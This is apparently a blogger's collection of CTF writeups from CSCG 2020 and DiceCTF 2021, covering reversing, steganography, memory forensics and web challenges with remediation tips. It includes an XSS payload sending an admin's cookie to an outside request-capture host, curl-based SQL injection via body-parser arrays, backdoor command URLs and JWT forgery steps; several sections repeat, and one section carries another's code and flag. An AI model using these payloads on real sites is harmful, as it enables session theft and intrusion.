CTF Writeups by speckij
Just a place to store my CTF writeups in a readable format :)
CSCG 2020 Writeups by speckij.
Difficulty:
- Baby (Author)
- Baby (Specki)
Notes:
Rabbit Holes:
Solution:
- Open rev1 in Ghidra
- Find
main
function - See
strcmp
with hardcoded stringy0u_5h3ll_p455
netcat
to the Server and enter password- WIN
Flag
CSCG{ez_pz_reversing_squ33zy}
Remediation:
- Do not hardcode passwords unencrypted
Difficulty:
- Baby (Author)
- Baby (Specki)
Notes:
Rabbit Holes:
Solution:
- Open rev2 in Ghidra
- Find
main
function - See
strcmp
of Input variable with hardcoded bytes - Input Variable is modified before comparison by while-loop
while (i < (int)sVar2 + -1) { input[i] = input[i] ^ (char)i + 10U; input[i] = input[i] - 2; i = i + 1; } iVar1 = strcmp((char *)input,"lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J");
- While loop modifies each character by subtracting XOR and subtraction
- Obfuscation can be easily reversed by applying the reverse instructions in reverse order:
void rev3() { char solution[50] = "lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J"; for (auto i = 0; i < 50; i++) { solution[i] += 2; // Revert subtraction solution[i] = solution[i] ^ (char)i + 10U; // Revert XOR std::cout << solution[i]; // Print password } std::cout << std::endl; }
- Reversing obfuscation yiels password:
dyn4m1c_k3y_gen3r4t10n_y34h
netcat
to the Server and enter password- WIN
Flag
CSCG{pass_1_g3ts_a_x0r_p4ss_2_g3ts_a_x0r_EVERYBODY_GETS_A_X0R}
Remediation:
- Do not hardcode passwords unencrypted
Difficulty:
- Baby (Author)
- Baby (Specki)
Notes:
Rabbit Holes:
Solution:
- Open rev3 in Ghidra
- Find
main
function - See
strcmp
of Input variable with hardcoded bytes - Input Variable is modified before comparison by while-loop
while (i < (int)sVar2 + -1) { input[i] = input[i] ^ (char)i + 10U; input[i] = input[i] - 2; i = i + 1; } iVar1 = strcmp((char *)input,"lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J");
- While loop modifies each character with XOR and subtraction
- Obfuscation can be easily reversed by applying the reverse instructions in reverse order:
void rev3() { char solution[50] = "lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J"; for (auto i = 0; i < 50; i++) { solution[i] += 2; // Revert subtraction solution[i] = solution[i] ^ (char)i + 10U; // Revert XOR std::cout << solution[i]; // Print password } std::cout << std::endl; }
- Reversing obfuscation yiels password:
dyn4m1c_k3y_gen3r4t10n_y34h
netcat
to the Server and enter password- WIN
Flag
CSCG{pass_1_g3ts_a_x0r_p4ss_2_g3ts_a_x0r_EVERYBODY_GETS_A_X0R}
Remediation:
- Do not hardcode passwords unencrypted
Difficulty:
Notes:
- Neo takes the Red pill in the movie
- "You take the blue pill – the story ends, you wake up in your bed and believe whatever you want to believe"
- "You take the red pill – you stay in Wonderland, and I show you how deep the rabbit hole goes."
Rabbit Holes:
- https://github.com/kimci86/bkcrack needs at least 12 Bytes of plaintext to brute-force.
- We only have "\xcfCSCG{" (MSB from CRC is first byte)
- Maybe brute-force other characters? Unlikely in a CTF
- We only have "\xcfCSCG{" (MSB from CRC is first byte)
- Comparison with original sound sample (
reference_quote.wav
) does not work- probrably modified? or from another source? online samples are all stereo
Solution:
- Spectogram shows password
Th3-R3D-P1ll?
steghide extract -sf matrix.wav -p Th3-R3D-P1ll? -xf output.png
ergibt gültigen JFIF Fileoutput.png
has trailing PKZIP file (Header 50 4B 03 04)- stored in
extracted_from_output.zip
- stored in
extracted_from_output.zip
has password-encoded filesecret.txt
- Google Search for "Oktoberfest Nacht" give original Image
- Comparing original image with
output.png
shows differenzes in Lichterkette in bottom of the image- Color encodes Bit
- Manually transposing gives
01101110 00100001 01000011 00110011 01011111 01010000 01010111 00111111
(and its complement) - Converting to ASCII gives Password
n!C3_PW?
- Comparing original image with
- Decrypt
secret.txt
mit Passwordn!C3_PW?
intosecret_decrypt.txt
secret_decrypt.txt
contains String6W6?BHW,#BB/FK[?VN@u2e>m8
- May be final flag (first and third letter are equal, fourth and last are unequal), but in non-standard encoding or simple substitution cipher
- Trying out different simple encodings/ciphers on cryptii shows ASCII85 is used and flag is given in plaintext
- WIN
Flag
CSCG{St3g4n0_M4s7eR}
Remediation:
Difficulty:
- Easy (Author)
- Baby (Specki)
Notes:
- Many anti-debugging checks. Probably hard to circumvent
- Ghidra does not like DotNet Binaries by default. Disassembly is practically unusable
Rabbit Holes:
Solution:
- Decompile in dnSpy
- Find
ìnitialCheck
function that validates args - Find hardcoded check comparing input to decryption of encoded constant
- Copy&Paste decription Routine into seperate program(solve.cs), decrypt encoded constant and print to console
- Run reme.dll with password from previous step (
CanIHazFlag?
) - WIN
Flag
CSCG{CanIHazFlag?}
Remediation:
- Do not use two-way encryption for securing secrets --> use one-way and only store hash
- Do not hardcode passwords inside decryption function
Difficulty:
- Medium (Author)
- Medium (Specki)
Notes:
- Many anti-debugging checks. Probably hard to circumvent
- Ghidra does not like DotNet Binaries by default. Disassembly is practically unusable
Rabbit Holes:
.GetILAsByteArray()
returns different values when copy&pasted into seperate program- Dependent on internal Method Name Tables? --> Those change based on what the compiler likes most during compiling
- Trying to recreate the exact assembly feels impossible. Even when copy&pasting the exact codelines, assembly still reorders stuff (Several hours used on this)
- When reordering functions in Code and compiling values from
GetILAsByteArray
differ only slightly (+- 5) and differ only on fixed positions (7 total)- Bruteforcing the -15 to +15 range of possible values on all 7 locations does not yield correct key and takes a loong time (w/o optimization)
- Loading the dll into a seperate program is not trivial and requires more C# knowledge
- Debugging dynamically loaded functions is apparently not possible? Breakpoints are skipped
Solution:
- Decompile in dnSpy
- Find
initialCheck
function that validates args (used for reme_1). Ignore for now - Observations:
- ilAsByteArray created based on Method body from
initialCheck
usingGetILAsByteArray
and is used as AES decryption key later onGetILAsByteArray
returns exact raw assembly bytes from the function, result can be extracted using ByteViewer (e.g. inside Ghidra)
- Memory is searched for hardcoded String
THIS_IS_CSCG_NOT_A_MALWARE
. All Memory after this string is then decrypted - Decrypted Data is loaded dynamically and "Check" is called
- ilAsByteArray created based on Method body from
- In Hex Editor String
THIS_IS_CSCG_NOT_A_MALWARE
can be found near the end of the assembly. Entropy graph suggests all data after this string is encrypted- Data can simply be copy-pasted into seperate file
encoded_function
to be easily accessible
- Data can simply be copy-pasted into seperate file
AES_Decrypt
can be copy&pasted into seperate program and run on extracted key (bytes frominitialCheck
Function) andencoded_function
.- In original program flow this assembly was dynamically loaded and
Check
function called on it- Debugging of this dynamically loaded function seems difficult - Breakpoints are ignored
- Observation:
decoded_flag_check
starts with bytes4D 5A 90 00
and includes String "DOS" --> DOS MZ executable format
- Save decrypted data into new file tmp.exe
- can be run and provides
- Decompile tmp.exe via dnSpy. Copy Disassembled Function
Check
intodecrypted_check.txt
- Analyze
Check
Function. It compares input against hardcoded constants- md5 has can easily be looked up in online md5 databases
- other constants are human-readable and can be extracted by hand
- WIN
Flag:
CSCG{n0w_u_know_st4t1c_and_dynamic_dotNet_R3333}
Remediation:
- Do not use program text as encryption key
- Security through obscurity (aka obfuscation) is generally a bad idea
Difficulty:
- Easy (Author)
- Baby (Specki)
Notes:
- Apparently
TrueCryptVolumeE
is not encrypted during runtime and subsequently not inside the memorydump
Rabbit Holes:
\Device\HarddiskVolume1\Documents and Settings\CSCG\Desktop\CSCG\cscg.flag.PNG
is a false flag
Solution:
- Analyze memory dump with Volatility Framwork
filescan
shows some interesting files\Device\TrueCryptVolumeE\password.txt
\Device\TrueCryptVolumeE\flag.zip
dumpfiles
the interesting files reveals:password.txt
contains plaintext: "BorlandDelphiIsReallyCool"flag.zip
contains file
- Decrypt file in flag.zip with password from
password.txt
- WIN
Flag
CSCG{c4ch3d_p455w0rd_fr0m_0p3n_tru3_cryp1_c0nt41n3r5}
Remediation:
- Do not use WindowsXP in 2020
- Choose encryption methodology in accordance with requirements.
- If files are not needed all the time do not decrypt them in advance
- Do not store passwords in plaintext next to encrypted data. Even on "encrypted volumes" this is a bad idea, as they are decrypted during their lifetime and therefore provide free access to the data!
Difficulty:
- Medium (Author)
- Medium (Specki)
Notes:
- WinXP Virtual Machine is not useful at all. Volatility is much better
Rabbit Holes:
- Data has been recovered from
mspaint.exe
temporary buffers in ctfs before writeup- Scanning the memory here does not yield any results, just a bunch of funky art
- 133t5p34k is not strictly defined and not consistent
- characters are difficult to distinguish e.g. 1, l, I, l
- wrong character -> wrong flag
Solution:
- Analyze memory dump with Volatility Framwork
pslist
shows interesting processes:CSCG_Delphi.exe
--> looks promisingmspaint.exe
--> see Rabbit Holes
- Extract Delphi Exe via
procdump
into1920.exe
- Unfortunately exe will not run in any compatibility mode or on WinXP VM
- Use DeDe decompiler to decompile exe
- Decompilation shows
TForm1
with titleCrackMe
CheckFlag
Button can be decompiled into annotated assembly by DeDeCheckFlag
makes references to various hard-coded all-uppercase stringsCheckFlag
usesTIdHashMessagDigest5
which implements MD5 "Encryption"CheckFlag
usesStrUtils.AnsiReverseString
so comparison string is possibly reversed
- Decompilation shows
- Lookup String constants in online Database hashes.com
1efc99b6046a0f2c7e8c7ef9dc416323:dl0
25db3350b38953836c36dfb359db4e27:kc4rc
40a00ca65772d7d102bb03c3a83b1f91:!3m
c129bd7796f23b97df994576448caa23:l00hcs
017efbc5b1d3fb2d4be8a431fa6d6258:1hp13d
- Strings form valid words when reversed, but do not form a coherent sentence
- Assembly comparing the strings differs, possibly not comparing in order
- Assuming the flag is human-readable there are not many combinations that form a coherent sentence
- Manually reorder strings to form human.readable flag. Add CSCG{} around the flag
- WIN
Flag
CSCG{0ld_sch00l_d31ph1_cr4ck_m3!}
Remediation:
- Do not use MD5 constants as password/key
Dice CTF 2021 writeups by speckij
Difficulty:
Notes:
NONCE
is static per deployment- queryParam
name
is not sanitized before
Rabbit Holes:
Solution:
Simple XSS Payload extracting the Cookie from the Admin. Nonce is static and can be hardcoded.
https://babier-csp.dicec.tf/?name=lemon <script nonce=LRGWAXOY98Es0zz0QOVmag==> location.window="http://enk6w2e573qoxoa.m.pipedream.net/%22+document.cookie+%22speckij";
Flag
Remediation:
Notes:
- We can abuse
extended=true
in body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username[]=admin' \
--data-urlencode 'password[test]=hello'
extended=true
in body-parser to type juggle and create interesting errors:curl --location --request POST 'localhost:3000/login' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username[]=admin' \
--data-urlencode 'password[test]=hello'
leads to error:
<pre>TypeError: v.includes is not a function<br> [...]
Rabbit Holes:
qs
(used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200
Solution
Abusing extended=true
in body-parser to parse password parameter as array, replacing the String.includes()
with Array.includes()
which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.
curl -L -X POST 'localhost:3000/login'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'username=admin'
--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''
Flag
Remediation:
Notes:
- We can abuse
extended=true
in body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username[]=admin' \
--data-urlencode 'password[test]=hello'
leads to error:
<pre>TypeError: v.includes is not a function<br> [...]
Rabbit Holes:
qs
(used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200
Solution
Abusing extended=true
in body-parser to parse password parameter as array, replacing the String.includes()
with Array.includes()
which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.
curl -L -X POST 'localhost:3000/login'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'username=admin'
--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''
Flag
Remediation:
Notes:
Solution:
- Dockerfile shows xinitd.conf is used. Can simply be accessed with
xinitd.conf
- xinitd.conf references
/init.sh
- init.sh references
/webserver.sh
- webserver.sh has backdoor for paths starting with
cmd_
and runs any command after the underscore as current user. - Flag can be found in the environment variables.
http://diceprectf.meatctf.com:2182/cmd_ls
Dockerfile canvasBackground.js index.html init.sh main.css star.png stars.js webserver.sh xinetd.conf
http://diceprectf.meatctf.com:2182/cmd_env
SHELL=/bin/sh REMOTE_HOST=93.209.73.130 SUDO_GID=0 HOSTNAME=288e8c33244a SUDO_COMMAND=./webserver.sh SUDO_USER=root PWD=/app LOGNAME=pleb HOME=/root FLAG=flag{w3b53rv3r_b4ckd00r} TERM=unknown USER=pleb SHLVL=0 _STDBUF_E=0 _STDBUF_I=0 _STDBUF_O=0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SUDO_UID=0 OLDPWD=/ _=/usr/bin/env
Flag
flag{w3b53rv3r_b4ckd00r}
Remediation:
- Do not implement backdoors. Not even if the source is not public.
Difficulty:
Notes:
Rabbit Holes:
- Flag submission did not work so I searched around for another hour trying to find the flag somewhere on the system
Solution:
- Register new account
- Use Directory Traversal on
/avatars
to dump sourcecode- index.js
- avatarmaker.js
- package.json
- .env
- index.js has hardcoded JWT Secrets
- Admin user has note with the flag
- Use https://jwt.io/ to create a new Token with username=admin and given secret
- Get Admin Notes via
/home
with crafted Token - Get Flag from HTTP Response
Flag
Remediation:
Notes:
Solution:
- Dockerfile shows xinitd.conf is used. Can simply be accessed with
xinitd.conf
- xinitd.conf references
/init.sh
- init.sh references
/webserver.sh
- webserver.sh has backdoor for paths starting with
cmd_
and runs any command after the underscore as current user. - Flag can be found in the environment variables.
http://diceprectf.meatctf.com:2182/cmd_ls
Dockerfile canvasBackground.js index.html init.sh main.css star.png stars.js webserver.sh xinetd.conf
http://diceprectf.meatctf.com:2182/cmd_env
SHELL=/bin/sh REMOTE_HOST=93.209.73.130 SUDO_GID=0 HOSTNAME=288e8c33244a SUDO_COMMAND=./webserver.sh SUDO_USER=root PWD=/app LOGNAME=pleb HOME=/root FLAG=flag{w3b53rv3r_b4ckd00r} TERM=unknown USER=pleb SHLVL=0 _STDBUF_E=0 _STDBUF_I=0 _STDBUF_O=0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SUDO_UID=0 OLDPWD=/ _=/usr/bin/env
Flag
flag{w3b53rv3r_b4ckd00r}
Remediation:
- Do not implement backdoors. Not even if the source is not public.